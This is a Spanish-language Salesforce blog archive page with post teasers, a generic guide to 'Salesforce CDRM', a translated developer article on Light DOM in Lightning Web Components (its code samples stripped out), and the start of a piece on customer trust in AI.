Skip to content

Etiqueta: Plataforma Salesforce

Tendencias en marketing 茅tico – 驴Su tecnolog铆a es segura?

Con la IA generativa desbordando la imaginaci贸n de los profesionales del marketing, 驴qu茅 podemos hacer para garantizar que nuestra pr谩ctica del marketing siga bas谩ndose en el pensamiento 茅tico? Leandro P茅rez, Vicepresidente Senior y Director de Marketing de Salesforce Asia-Pac铆fico, comparte sus ideas de primera mano.

Seguir leyendo

35 citas inspiradoras sobre la inteligencia artificial

Las mejores citas sobre IA de expertos en inteligencia artificial sobre el impacto en los negocios, las ventas, la preparaci贸n de la fuerza laboral, el futuro del trabajo, la confianza, la 茅tica y la privacidad.

The post 35 citas inspiradoras sobre inteligencia artificial appeared first on Salesforce.

Seguir leyendo

10 preguntas frecuentes sobre la implementaci贸n de Salesforce Einstein

驴Qu茅 es Salesforce Einstein? Seg煤n la presentaci贸n oficial del producto de Salesforce en su sitio web, 芦Salesforce Einstein es la primera IA integral para CRM. Se trata de un conjunto integrado de tecnolog铆as de IA que hace que la plataforma Customer Success Platform sea m谩s inteligente y lleva la IA a los pioneros de todo el mundo禄  Pero, 驴esta breve explicaci贸n transmite realmente la profundidad con la que la IA interact煤a con […]

El post 10 preguntas frecuentes sobre la implementaci贸n de Salesforce Einstein appeared first on Salesforce Ben.

Seguir leyendo

Ahorre tiempo y cierre m谩s acuerdos: Salesforce Sales Cloud es la mejor herramienta para su proceso de ventas

Desde la generaci贸n de prospectos hasta el cierre de acuerdos, desvele los secretos de un proceso de ventas de 茅xito y descubra el poder transformador de Salesforce Sales Cloud.

El post Ahorre tiempo y cierre m谩s acuerdos con Salesforce Sales Cloud

The post Ahorre tiempo y cierre m谩s acuerdos: Salesforce Sales Cloud es la mejor herramienta para su proceso de ventas appeared first on Salesforce.

Consiga ahorrar tiempo y cerrar m谩s operaciones con Salesforce Sales Cloud

Seguir leyendo

Ya puede participar en la encuesta sobre el desarrollo de Salesforce 2024 鈽侊笍

Ya puede participar en la encuesta sobre el desarrollo de Salesforce 2024 鈽侊笍

Comparta sus comentarios y gane 10 d贸lares participando en la encuesta de 2024, adem谩s de ver lo que aprendimos de la encuesta de 2023.

El post La encuesta de Salesforce de 2024

The post La encuesta de desarrollo de Salesforce de 2024 ya est谩 abierta appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Presentaci贸n del control de versiones de API a nivel de componente de LWC 鈽侊笍

Presentaci贸n del control de versiones de API a nivel de componente de LWC 鈽侊笍

El versionado de la API de LWC es una excelente forma de garantizar la compatibilidad con versiones anteriores de los componentes existentes y, al mismo tiempo, permitir que los nuevos componentes adopten las nuevas caracter铆sticas.

The post Presentaci贸n del control de versiones de API a nivel de componente para LWC appeared first on Blog de desarrolladores de Salesforce.

Blog de desarrolladores de Salesforce

Seguir leyendo

Prompt Engineering para desarrolladores de Salesforce: Mejora de la eficacia y la productividad 鈽侊笍

Prompt Engineering para desarrolladores de Salesforce: Mejora de la eficacia y la productividad 鈽侊笍

Las t茅cnicas de ingenier铆a generativa, si se hacen bien, pueden ayudarle a hacer las cosas bien, mejor y, lo que es m谩s importante, m谩s r谩pido.

Las t茅cnicas de ingenier铆a generativa pueden ayudarle a hacer las cosas bien, mejor y, lo que es m谩s importante, m谩s r谩pido

The post Ingenier铆a de prompts para desarrolladores de Salesforce appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

De copiloto a coorganizador

Introducci贸n

En los 煤ltimos meses he escrito mucho sobre lo que yo llamo Large Action Models, o LAMs, una variaci贸n m谩s activa y aut贸noma de los LLMs que no se limitan a generar contenido como texto o im谩genes, sino que realizan tareas completas e incluso participan en flujos de trabajo, ya sea junto a personas

Seguir leyendo

30 preguntas y respuestas de entrevistas a analistas de negocio

La demanda de analistas de negocio de Salesforce ha crecido a un ritmo elevado. Las organizaciones de Salesforce han evolucionado y se han vuelto m谩s complejas. Como resultado, existe una mayor necesidad de evaluar los cambios deseados y obtener una visi贸n completa de la situaci贸n, para asegurarse de que todo el mundo est谩 de acuerdo. Esta es la raz贸n por la que las organizaciones deben buscar […]

El post 30 Business Analyst Interview Questions & Answers appeared first on Salesforce Ben.

Seguir leyendo

Gu铆a completa de documentaci贸n de Salesforce (en un mundo de inteligencia artificial)

La plataforma Salesforce es muy potente. Con cada nueva versi贸n, su org se vuelve m谩s potente, pero tambi茅n m谩s compleja. Como le dijeron una vez a Spiderman: 芦un gran poder conlleva una gran responsabilidad禄. Entonces, 驴c贸mo puede asumir la responsabilidad real de mantener su organizaci贸n? Con todo lo dem谩s que tiene que hacer, documentar sus cambios es probablemente bajo en […]

El post Gu铆a completa para la documentaci贸n de Salesforce (en un mundo de IA) appeared first on Salesforce Ben.

Seguir leyendo

5 razones por las que necesita un diccionario de datos de Salesforce

Desde el temor a las imprecisiones en los informes hasta la lucha constante contra los silos de datos y la sombra amenazadora de los incumplimientos, los retos de supervisar sus datos son abundantes. Y no hablemos ya de los quebraderos de cabeza financieros que provocan las malas pr谩cticas de gesti贸n de datos. Mantener un diccionario de datos no es solo marcar una casilla […]

The post 5 razones por las que necesita un diccionario de datos de Salesforce appeared first on Salesforce Ben.

Las razones por las que necesita un diccionario de datos de Salesforce appeared first on Salesforce Ben

Seguir leyendo

Comenzando con Salesforce CDRM: Gu铆a de primeros pasos para optimizar tus procesos de gesti贸n de datos

Introducci贸n

Salesforce CDRM (Customer Data Relationship Management) es una herramienta poderosa que permite a las empresas gestionar y organizar eficientemente sus datos de clientes. En un mundo cada vez m谩s digital, donde la informaci贸n es clave para el 茅xito de cualquier negocio, contar con una soluci贸n de gesti贸n de datos robusta se ha vuelto fundamental.

En este art铆culo, exploraremos en detalle qu茅 es Salesforce CDRM y por qu茅 es importante para tu negocio. Tambi茅n discutiremos los pasos necesarios para preparar tu cuenta de Salesforce para la implementaci贸n de CDRM, c贸mo configurar tus objetos y campos de datos, c贸mo importar y limpiar tus datos, c贸mo crear reglas de validaci贸n y duplicados, c贸mo definir tus procesos de negocio, c贸mo automatizar tus procesos de gesti贸n de datos y c贸mo realizar an谩lisis y reporting de datos. Al final del art铆culo, entender谩s la importancia de implementar Salesforce CDRM en tu negocio y estar谩s listo para aprovechar al m谩ximo esta herramienta.

驴Qu茅 es Salesforce CDRM y por qu茅 es importante para tu negocio?

Salesforce CDRM es una soluci贸n de gesti贸n de datos que permite a las empresas almacenar, organizar y gestionar eficientemente la informaci贸n de sus clientes. Esta herramienta se basa en la plataforma Salesforce, que es l铆der en el mercado de CRM (Customer Relationship Management).

La gesti贸n eficiente de los datos del cliente es crucial para cualquier negocio. Los datos son el activo m谩s valioso de una empresa y su correcta gesti贸n puede marcar la diferencia entre el 茅xito y el fracaso. Salesforce CDRM ofrece una serie de beneficios que ayudan a las empresas a optimizar sus procesos de gesti贸n de datos.

Uno de los principales beneficios de Salesforce CDRM es la centralizaci贸n de la informaci贸n del cliente. Con esta herramienta, todas las interacciones con los clientes, como llamadas, correos electr贸nicos, reuniones y transacciones, se registran y almacenan en un solo lugar. Esto facilita el acceso a la informaci贸n y permite a los equipos de ventas y marketing tener una visi贸n completa de cada cliente.

Adem谩s, Salesforce CDRM ofrece funcionalidades avanzadas de an谩lisis y reporting que permiten a las empresas obtener informaci贸n valiosa sobre sus clientes. Esto les ayuda a tomar decisiones m谩s informadas y a personalizar sus estrategias de marketing y ventas.

Preparando tu cuenta de Salesforce para CDRM

Antes de implementar Salesforce CDRM, es importante preparar tu cuenta de Salesforce para asegurarte de que est茅 limpia y organizada. Esto implica eliminar datos duplicados, corregir errores y asegurarse de que los campos est茅n correctamente etiquetados.

El primer paso para preparar tu cuenta de Salesforce es realizar una auditor铆a exhaustiva de tus datos existentes. Esto implica revisar todos los registros y eliminar cualquier duplicado o informaci贸n incorrecta. Tambi茅n debes asegurarte de que todos los campos est茅n correctamente etiquetados y que la informaci贸n est茅 organizada de manera coherente.

Una vez que hayas limpiado tus datos existentes, es importante establecer un proceso para mantener tu cuenta de Salesforce organizada en el futuro. Esto implica establecer reglas y pol铆ticas claras para la entrada de datos, as铆 como capacitar a tu equipo en la importancia de mantener la integridad de los datos.

Configurando tus objetos y campos de datos en Salesforce CDRM

En Salesforce CDRM, los objetos son entidades que representan diferentes tipos de registros, como cuentas, contactos, oportunidades y casos. Los campos son atributos de estos objetos que almacenan informaci贸n espec铆fica, como el nombre del cliente, la direcci贸n de correo electr贸nico y el n煤mero de tel茅fono.

La configuraci贸n de los objetos y campos de datos en Salesforce CDRM es fundamental para adaptar la herramienta a las necesidades espec铆ficas de tu negocio. Esto implica definir qu茅 objetos y campos son relevantes para tu empresa y c贸mo se relacionan entre s铆.

Por ejemplo, si eres una empresa de comercio electr贸nico, es posible que desees configurar un objeto de 芦producto禄 con campos como el nombre del producto, el precio y la cantidad disponible. Tambi茅n puedes configurar un objeto de 芦pedido禄 con campos como el cliente, la fecha del pedido y los productos comprados.

La configuraci贸n de los objetos y campos tambi茅n implica establecer reglas de validaci贸n para garantizar que los datos ingresados sean precisos y consistentes. Por ejemplo, puedes establecer una regla de validaci贸n que requiera que se ingrese un n煤mero de tel茅fono v谩lido en el campo correspondiente.

Importando tus datos a Salesforce CDRM

Una vez que hayas configurado tus objetos y campos en Salesforce CDRM, es hora de importar tus datos existentes a la plataforma. Es importante seguir las mejores pr谩cticas para garantizar la precisi贸n de los datos durante el proceso de importaci贸n.

Antes de importar tus datos, debes asegurarte de que est茅n limpios y organizados. Esto implica eliminar duplicados, corregir errores y asegurarte de que los campos est茅n correctamente etiquetados.

Una vez que tus datos est茅n listos para ser importados, puedes utilizar las herramientas de importaci贸n de Salesforce CDRM para cargarlos en la plataforma. Estas herramientas te permiten mapear los campos de tus datos existentes a los campos correspondientes en Salesforce CDRM.

Durante el proceso de importaci贸n, es importante verificar la precisi贸n de los datos y corregir cualquier error que se encuentre. Tambi茅n debes asegurarte de que los datos se importen en el formato correcto y que se asignen a los objetos y campos correspondientes.

Limpieza y normalizaci贸n de datos en Salesforce CDRM

La limpieza y normalizaci贸n de datos es un paso crucial en la gesti贸n de datos en Salesforce CDRM. Esto implica eliminar duplicados, corregir errores y asegurarse de que los datos est茅n formateados correctamente.

La limpieza de datos implica eliminar registros duplicados o incorrectos. Esto se puede hacer utilizando las herramientas de deduplicaci贸n de Salesforce CDRM, que identifican registros duplicados basados en criterios espec铆ficos, como el nombre del cliente o la direcci贸n de correo electr贸nico.

La normalizaci贸n de datos implica asegurarse de que los datos est茅n formateados correctamente y sean consistentes. Esto implica estandarizar la forma en que se ingresan los datos, como las fechas, los n煤meros de tel茅fono y las direcciones. Tambi茅n implica asegurarse de que los campos est茅n correctamente etiquetados y que la informaci贸n est茅 organizada de manera coherente.

La limpieza y normalizaci贸n de datos es un proceso continuo que debe realizarse regularmente para garantizar la integridad de los datos en Salesforce CDRM. Esto implica establecer reglas y pol铆ticas claras para la entrada de datos, as铆 como capacitar a tu equipo en la importancia de mantener la calidad de los datos.

Creando reglas de validaci贸n y de duplicados en Salesforce CDRM

Las reglas de validaci贸n y duplicados son herramientas poderosas que ayudan a garantizar la precisi贸n y consistencia de los datos en Salesforce CDRM.

Las reglas de validaci贸n son reglas que se aplican a los campos de datos para garantizar que los datos ingresados sean precisos y consistentes. Por ejemplo, puedes establecer una regla de validaci贸n que requiera que se ingrese un n煤mero de tel茅fono v谩lido en el campo correspondiente.

Las reglas de duplicados son reglas que se aplican a los registros para identificar y prevenir registros duplicados. Por ejemplo, puedes establecer una regla de duplicados que identifique registros duplicados basados en criterios espec铆ficos, como el nombre del cliente o la direcci贸n de correo electr贸nico.

La creaci贸n y personalizaci贸n de reglas de validaci贸n y duplicados en Salesforce CDRM es fundamental para garantizar la calidad de los datos. Esto implica definir las reglas que son relevantes para tu negocio y configurarlas en la plataforma.

Definiendo tus procesos de negocio en Salesforce CDRM

La definici贸n de tus procesos de negocio en Salesforce CDRM es fundamental para garantizar una gesti贸n eficiente de los datos. Esto implica establecer flujos de trabajo claros y personalizados que reflejen tus procesos empresariales.

Los flujos de trabajo en Salesforce CDRM son secuencias automatizadas de tareas y acciones que se activan en funci贸n de eventos espec铆ficos. Por ejemplo, puedes configurar un flujo de trabajo que env铆e autom谩ticamente un correo electr贸nico de seguimiento a un cliente despu茅s de una reuni贸n.

La definici贸n y personalizaci贸n de tus procesos de negocio en Salesforce CDRM te permite automatizar tareas repetitivas y garantizar que se sigan los pasos correctos en cada interacci贸n con el cliente. Esto ayuda a mejorar la eficiencia y la consistencia de tus procesos empresariales.

Automatizando tus procesos de gesti贸n de datos con Salesforce CDRM

La automatizaci贸n de los procesos de gesti贸n de datos es otro beneficio clave de Salesforce CDRM. Esto implica utilizar herramientas como flujos de trabajo y el generador de procesos para automatizar tareas y acciones.

Los flujos de trabajo en Salesforce CDRM te permiten automatizar tareas repetitivas y garantizar que se sigan los pasos correctos en cada interacci贸n con el cliente. Por ejemplo, puedes configurar un flujo de trabajo que env铆e autom谩ticamente un correo electr贸nico de seguimiento a un cliente despu茅s de una reuni贸n.

El generador de procesos en Salesforce CDRM te permite crear procesos empresariales personalizados que se activan en funci贸n de eventos espec铆ficos. Por ejemplo, puedes configurar un proceso que se active cuando se crea una nueva oportunidad de venta y que env铆e autom谩ticamente una notificaci贸n al equipo de ventas.

La automatizaci贸n de los procesos de gesti贸n de datos en Salesforce CDRM ayuda a mejorar la eficiencia y la consistencia de tus operaciones comerciales. Tambi茅n te permite ahorrar tiempo y recursos al eliminar tareas manuales y repetitivas.

An谩lisis y reporting de datos en Salesforce CDRM

El an谩lisis y reporting de datos es fundamental para tomar decisiones informadas y personalizar tus estrategias de marketing y ventas. Salesforce CDRM ofrece una serie de herramientas avanzadas que te permiten realizar an谩lisis detallados y crear informes personalizados.

Las herramientas de an谩lisis en Salesforce CDRM te permiten realizar an谩lisis de datos en tiempo real y obtener informaci贸n valiosa sobre tus clientes. Por ejemplo, puedes analizar las tendencias de compra de tus clientes y utilizar esta informaci贸n para personalizar tus ofertas y promociones.

Las herramientas de reporting en Salesforce CDRM te permiten crear informes personalizados que reflejen tus necesidades empresariales. Puedes crear informes que muestren m茅tricas clave, como el n煤mero de oportunidades de venta cerradas o el retorno de la inversi贸n en marketing.

El an谩lisis y reporting de datos en Salesforce CDRM te ayuda a tomar decisiones m谩s informadas y a optimizar tus estrategias de marketing y ventas. Tambi茅n te permite identificar 谩reas de mejora y realizar cambios necesarios en tus procesos empresariales.

Mejorando continuamente tus procesos de gesti贸n de datos con Salesforce CDRM

La mejora continua es fundamental en la gesti贸n de datos en Salesforce CDRM. Esto implica utilizar la herramienta para identificar 谩reas de mejora y realizar los cambios necesarios en tus procesos empresariales.

Salesforce CDRM ofrece una serie de herramientas que te permiten realizar un seguimiento del rendimiento de tus procesos de gesti贸n de datos. Puedes utilizar informes y paneles personalizados para analizar m茅tricas clave, como la precisi贸n de los datos y la eficiencia del proceso.

Una vez que hayas identificado 谩reas de mejora, puedes utilizar las herramientas de configuraci贸n y automatizaci贸n en Salesforce CDRM para realizar los cambios necesarios en tus procesos empresariales. Por ejemplo, puedes ajustar las reglas de validaci贸n o crear nuevos flujos de trabajo para mejorar la calidad y eficiencia de tus operaciones comerciales.

La mejora continua en la gesti贸n de datos en Salesforce CDRM te ayuda a optimizar tus procesos empresariales y a mantener la calidad de tus datos a largo plazo. Tambi茅n te permite adaptarte a los cambios en el mercado y a las necesidades cambiantes de tus clientes.

Conclusi贸n

En resumen, Salesforce CDRM es una herramienta poderosa que permite a las empresas gestionar y organizar eficientemente sus datos de clientes. Esta herramienta ofrece una serie de beneficios, como la centralizaci贸n de la informaci贸n del cliente, la personalizaci贸n de los procesos empresariales y la automatizaci贸n de tareas repetitivas.

Para aprovechar al m谩ximo Salesforce CDRM, es importante preparar tu cuenta de Salesforce, configurar tus objetos y campos de datos, importar y limpiar tus datos, crear reglas de validaci贸n y duplicados, definir tus procesos de negocio, automatizar tus procesos de gesti贸n de datos y realizar an谩lisis y reporting de datos.

Implementar Salesforce CDRM en tu negocio te ayudar谩 a mejorar la eficiencia y la consistencia de tus operaciones comerciales, tomar decisiones m谩s informadas y personalizar tus estrategias de marketing y ventas. No pierdas m谩s tiempo y comienza a utilizar Salesforce CDRM para una mejor gesti贸n de datos en tu negocio.
Si est谩s interesado en aprender m谩s sobre el mundo de las remesas, te recomendamos leer nuestro art铆culo 芦驴Qu茅 es una remesa?禄 en el que explicamos qu茅 son las remesas y c贸mo funcionan. Tambi茅n puedes encontrar informaci贸n 煤til sobre otros temas relacionados como el IBAN, el Reglamento General de Protecci贸n de Datos, el ciclo de vida del producto, las tarjetas de d茅bito, SEPA, los holdings y muchas otras tem谩ticas relevantes. 隆No te lo pierdas!

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

脷ltima actualizaci贸n el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el pr贸ximo en superarlo As铆 que, 隆prep谩rese y sum茅rjase! 馃憠 Ya que est谩s aqu铆, es posible que desees

El post C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate appeared first on Campe贸n de la Automatizaci贸n.

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate appeared first on Campe贸n de la Automatizaci贸n

Seguir leyendo

Desmitificando Light DOM y sus casos de uso 鈽侊笍

Desmitificando Light DOM y sus casos de uso 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Desmitificando Light DOM y sus casos de uso | Blog de desarrolladores de Salesforce

Light DOM es una funci贸n de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (c贸digo abierto) y todas las versiones de la aplicaci贸n m贸vil Salesforce desde Summer '23 .

Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulaci贸n y seguridad s贸lidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una caracter铆stica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.

驴C贸mo funciona el DOM ligero?

Usemos un componente web Lightning muy simple como ejemplo.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Adem谩s, no permite que el c贸digo JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.

Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitri贸n en lugar de a su 谩rbol de sombra. Luego puede acceder al marcado desde otros componentes de la p谩gina como cualquier otro contenido en el host del documento que no est茅 protegido por Shadow DOM.

Los componentes DOM ligeros permiten el uso de API de consulta de navegador est谩ndar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .

holaCodey.js

O m谩s simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cu谩ndo usarlo y cu谩ndo no usarlo

Light DOM es una opci贸n para cada componente individual. Sus efectos no se aplicar谩n a otros componentes a menos que tambi茅n opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.

Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador est谩ndar, aplicar estilos globales o necesita m谩s flexibilidad para implementar las mejores pr谩cticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con m谩s profundidad en la siguiente secci贸n.

No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulaci贸n de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideraci贸n.

Casos de uso habilitados por DOM ligero

Light DOM permite varios casos de uso que anteriormente no eran compatibles.

1) Soporte de bibliotecas que necesitan acceso a las partes internas de un componente

Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de an谩lisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.

Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.

mascotChanger.html

<dx-code-block title language="html" code-block="
芦>

mascotChanger.js

Tenga en cuenta que, aunque el p谩rrafo consultado pertenece al componente helloCodey , podemos acceder a 茅l con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habr铆a devuelto null .

Tambi茅n puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso est谩tico en la p谩gina, siempre y cuando todos los componentes ancestros est茅n habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso est谩tico de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.

myJSResource.js

2) Implementaci贸n m谩s sencilla de componentes profundamente anidados

Otro ejemplo en el que esto puede resultar 煤til es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un 煤nico componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.

Esta implementaci贸n facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarqu铆a y tambi茅n la implementaci贸n de la accesibilidad. Adem谩s, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.

3) Estilo global

Light DOM tambi茅n facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la p谩gina. La inyecci贸n de estilos globales a trav茅s de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.

Por ejemplo, definamos un componente colorChanger de la siguiente manera.

colorChanger.html

<dx-code-block title language="html" code-block="
芦>

colorChanger.js

colorChanger.css

El color de fondo azul se aplicar谩 a los p谩rrafos de todas las instancias del componente helloCodey en la p谩gina, ya que est谩 habilitado para DOM claro.

En la mayor铆a de los casos, no querr谩s que tu estilo se filtre a otros componentes. Eso todav铆a es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance est谩 escrito exactamente igual que el CSS normal, pero solo se aplicar谩 a ese componente sin filtrarse.

Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos est谩ticos en una p谩gina de Lightning Experience o un sitio de Experience Cloud, se les quitar谩 el alcance y se aplicar谩n tanto a los componentes DOM claros como tambi茅n a los componentes DOM de sombra, ya que la sombra sint茅tica no evitar谩 que se filtren. Esta es una limitaci贸n que se solucionar谩 una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa est谩 habilitada, solo los componentes habilitados para DOM claro heredar谩n los estilos globales.

4) Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad

Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores pr谩cticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.

mascotChanger.html

<dx-code-block title language="html" code-block="

芦>

mascotChanger.js

mascotaNombreInput.html

<dx-code-block title language="html" code-block="

芦>

mascotaNombreEtiqueta.html

<dx-code-block title language="html" code-block="

芦>

Tenga en cuenta que Salesforce est谩 trabajando actualmente con el W3C para agregar nuevos est谩ndares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no ser谩 necesario. Como parte de nuestros esfuerzos de accesibilidad, tambi茅n patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber m谩s sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .

La siguiente tabla resume los casos de uso y d贸nde se admiten.

Experiencia en la nube Experiencia rel谩mpago Aplicaciones m贸viles de Salesforce LWC OSS/LWR en Node.js*
Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes. S铆 S铆 S铆 S铆
Implementaci贸n m谩s sencilla de componentes profundamente anidados S铆 S铆 S铆 S铆
Estilo global S铆 No No S铆
Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad S铆 S铆 S铆 S铆

*Si se utiliza DOM de sombra nativo en lugar de sombra sint茅tica . La sombra nativa es la opci贸n predeterminada para LWC OSS y LWR en Node.js.

Otras Consideraciones

Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:

  • Los eventos no se reorientan con DOM ligero. Lea m谩s en la gu铆a para desarrolladores .
  • No hay soporte de navegador para espacios fuera del DOM oculto, por lo que se emula. Esto implica que algunas funciones, como los enlaces de ciclo de vida, no est谩n disponibles en ellos. Eche un vistazo a la documentaci贸n para saber m谩s.
  • Por ahora, los componentes ligeros habilitados para DOM no se pueden empaquetar.

Conclusi贸n

En esta publicaci贸n de blog, revisamos qu茅 es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qu茅 componentes habilitar谩n la funci贸n. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar t煤 mismo.

Para obtener m谩s informaci贸n sobre DOM ligero en la plataforma Salesforce, lea la documentaci贸n o, si est谩 trabajando fuera de la plataforma, lea la documentaci贸n OSS .

Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migraci贸n.

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Genere confianza con sus clientes en la era de la IA

Genere confianza con sus clientes en la era de la IA

En una era dominada por la IA, la importancia de la confianza ha alcanzado nuevas alturas. A medida que los l铆deres de la industria navegan a trav茅s de la disrupci贸n y la innovaci贸n, establecer y fomentar la confianza con los empleados y clientes es m谩s que una necesidad. Es un imperativo estrat茅gico.

La IA generativa tiene el potencial de aportar hasta 4,4 billones de d贸lares anuales a la econom铆a mundial. Esto muestra el impacto monumental que la IA puede tener en varios sectores. Y la IA tiene la capacidad de automatizar el 40% de la jornada laboral promedio . Teniendo esto en cuenta, no podemos subestimar la influencia de la IA en la optimizaci贸n de los procesos y la eficiencia. Es hora de reconocer el poder que tiene la IA confiable para mejorar la experiencia del cliente. Esto, a su vez, enfatiza la importancia de generar y mantener la confianza.

Cubriremos c贸mo podemos utilizar el papel esencial de la confianza en la adopci贸n de plataformas de IA . Tambi茅n exploraremos c贸mo los beneficios de la IA pueden generar (y fortalecer) la confianza de los clientes.

Comience con AI Coach

Los servicios profesionales de Salesforce pueden ayudarle a establecer las bases adecuadas para el 茅xito con nuestro nuevo paquete, AI Coach.

La b煤squeda de una IA confiable

Vivimos en un mundo donde tanto las empresas como los clientes cuestionan la confiabilidad de la IA . Esto es especialmente cierto cuando a la IA se le conf铆a el activo m谩s sensible: los datos de los clientes. De hecho, el 78% de los clientes dicen que cambiar铆an de proveedor de servicios financieros si sintieran que sus datos fueron mal manejados. Para las empresas, esto resalta la importancia cr铆tica de salvaguardar la informaci贸n de los clientes.

Pero 驴y si le dij茅ramos que la IA no tiene por qu茅 ser un obst谩culo para la confianza? 驴Que en realidad puede ser el puente que conecte a las empresas y sus clientes sobre una base de IA confiable? S铆, lo leiste bien. La adopci贸n de la IA ha aumentado un 88 % entre 2020 y 2022, lo que demuestra el creciente reconocimiento del potencial de una IA confiable para crear impactos positivos y al mismo tiempo mantener la confianza.

Los cuatro pilares de la confianza

Antes de profundizar en las formas en que la IA puede moldear la confianza, analicemos los cuatro pilares esenciales sobre los que se construye la confianza. Estos pilares desempe帽an un papel vital a la hora de establecer una base de IA confiable en la que los clientes puedan confiar.

  • Competencia: el n煤cleo de la confianza reside en la capacidad de ofrecer resultados, no promesas. Para aclarar, su plataforma de IA no s贸lo debe ser experta en resolver problemas, sino tambi茅n ser capaz de demostrar su eficacia.
  • Fiabilidad: la coherencia es clave. Una IA confiable debe cumplir constantemente las expectativas y cumplir los compromisos, creando una sensaci贸n de confiabilidad.
  • Integridad: la transparencia y la honestidad forman la base de la confianza. Asimismo, es crucial abordar las limitaciones y los riesgos potenciales de manera abierta y 茅tica.
  • Intenci贸n: Alinear sus propias motivaciones con el 茅xito del cliente muestra una dedicaci贸n genuina a sus necesidades y objetivos.

Fomentar la confianza a trav茅s de la IA

